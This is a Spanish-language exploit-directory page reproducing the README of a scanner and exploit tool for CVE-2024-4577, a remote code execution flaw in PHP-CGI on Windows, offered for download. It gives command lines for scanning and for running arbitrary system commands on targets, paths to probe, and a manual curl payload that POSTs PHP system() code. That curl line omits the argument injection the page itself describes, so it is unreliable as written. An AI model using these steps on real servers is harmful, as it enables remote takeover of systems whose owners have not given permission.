Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-4577 — Escáner y herramienta de explotación para CVE-2024-4577, una vulnerabilidad de inyección de argumentos en PHP CGI que permite la ejecución remota de código en sistemas Windows. Incluye módulos de detección y ejecución de comandos. | Kitploit
Herramientas/GitHubGitHub/r0otk3r/cve-2024-4577
Escáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlAprendizaje y Educación
GitHubr0otk3r/cve-2024-4577

CVE-2024-4577

Escáner y herramienta de explotación para CVE-2024-4577, una vulnerabilidad de inyección de argumentos en PHP CGI que permite la ejecución remota de código en sistemas Windows. Incluye módulos de detección y ejecución de comandos.

Ver Repositorio
19hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-4577 - Inyección de Argumentos en PHP CGI RCE

Resumen

CVE-2024-4577 es una vulnerabilidad crítica de inyección de argumentos en PHP CGI que afecta a sistemas Windows que ejecutan PHP en modo CGI. Esta falla permite a atacantes remotos inyectar argumentos en la línea de comandos de PHP mediante URLs especialmente diseñadas, lo que conduce a la ejecución remota de código (RCE).

Este repositorio incluye:

  • CVE-2024-4577.py: Un escáner para detectar objetivos vulnerables.
  • exploit.py: Una herramienta de explotación que envía código PHP y ejecuta comandos del sistema en el servidor vulnerable.

⚠️ DESCARGO DE RESPONSABILIDAD
Este proyecto es solo para fines educativos y pruebas autorizadas. Cualquier mal uso de este código no es responsabilidad del autor. Úsalo de forma responsable y únicamente en entornos que poseas o para los que tengas permiso explícito de prueba.


Requisitos

  • Python 3.x
  • librería requests

Instalar dependencias:

pip install -r requirements.txt

Uso del Escáner

Detecta si un objetivo es vulnerable a CVE-2024-4577:

Objetivo Único

python3 CVE-2024-4577.py -u http://target.com

1

Múltiples Objetivos desde Archivo

python3 CVE-2024-4577.py -f urls.txt

2

Ruta Personalizada (opcional)

python3 CVE-2024-4577.py -u http://target.com -p /custom/path.php

Ejemplos de Rutas Vulnerables

El escáner y el exploit prueban endpoints CGI comunes como:

/php-cgi/php-cgi.exe
/index.php
/test.php
/test.hello

El payload omite cgi.force_redirect y antepone PHP malicioso usando php://input.


Uso del Exploit

Ejecuta comandos arbitrarios del sistema en un objetivo vulnerable:

Objetivo Único

python3 exploit.py -u http://target.com -c "id"

4

Múltiples Objetivos desde Archivo

python3 exploit.py -f urls.txt -c "id"

5

Usando curl

También puedes explotar la vulnerabilidad manualmente usando curl

curl -X POST http://target.com/php-cgi/php-cgi.exe -d "<?php system('uname -a'); ?>"

Esto envía un payload PHP que ejecuta uname -a en el servidor y devuelve la salida.

3

Licencia

Este código se publica bajo la Licencia MIT. Consulta LICENSE para más información.


Canales Oficiales

  • YouTube @rootctf
  • X @r0otk3r
Descargar herramienta